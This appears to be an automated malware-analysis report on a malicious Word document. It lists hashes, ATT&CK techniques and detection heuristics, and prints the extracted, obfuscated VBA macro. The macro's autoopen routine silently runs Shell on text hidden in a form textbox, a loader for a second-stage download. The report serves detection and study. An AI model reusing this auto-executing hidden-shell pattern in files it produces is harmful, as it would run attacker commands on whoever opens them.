Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 536457cd467025bc…

MALICIOUS

Office (OLE)

113.6 KB Created: 2018-12-18 13:51:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 636bcf2a5359f1750ece4c459cd72d4c SHA-1: 022260b246824d98e853711553f32b74676a0bcb SHA-256: 536457cd467025bcbabc35b8466cd70dd739ebc7253a934a2f6705e02b6916c2
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains VBA macros with an autoopen subroutine, which is a common technique for malicious Office documents. The macro uses a Shell() call to execute cmd.exe, indicating an attempt to download and run a second-stage payload. The presence of a suspicious cmd.exe invocation and the ClamAV detection further support the malicious nature of this file.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6787804-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6787804-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    On Error Resume Next
lJSOTAv = Array(zwVmdz, nDWwfj, tNAamwtOF, Interaction.Shell(CleanString(VFvZTjiwA.TextBox1), 50 - 50), oNmuZL)
   Select Case VaXAfVzWSESUpouEDJrDJc
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
wplBXp
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 852 bytes
SHA-256: 68ef2a58cc43e7294888d97f9baba2c671acbe281ce378b9868e807cdcc73050
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "VFvZTjiwA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
wplBXp
End Sub

Attribute VB_Name = "phRErLlq"
Function wplBXp()
On Error Resume Next
lJSOTAv = Array(zwVmdz, nDWwfj, tNAamwtOF, Interaction.Shell(CleanString(VFvZTjiwA.TextBox1), 50 - 50), oNmuZL)
   Select Case VaXAfVzWSESUpouEDJrDJc
            Case 239358306
            qCnFmrZhRCnXsLmsvkvZabXb = 94346571
            TNvOjspaKcisjb = Oct(kDnBWLrXzIYjKWPfLqkY + CStr(lDWvhRBJJCAUvpXj + Log(175942169) - pbqwFHLfDuwWBzCSwzQFpuq / Hex(91765945)))
      End Select
End Function

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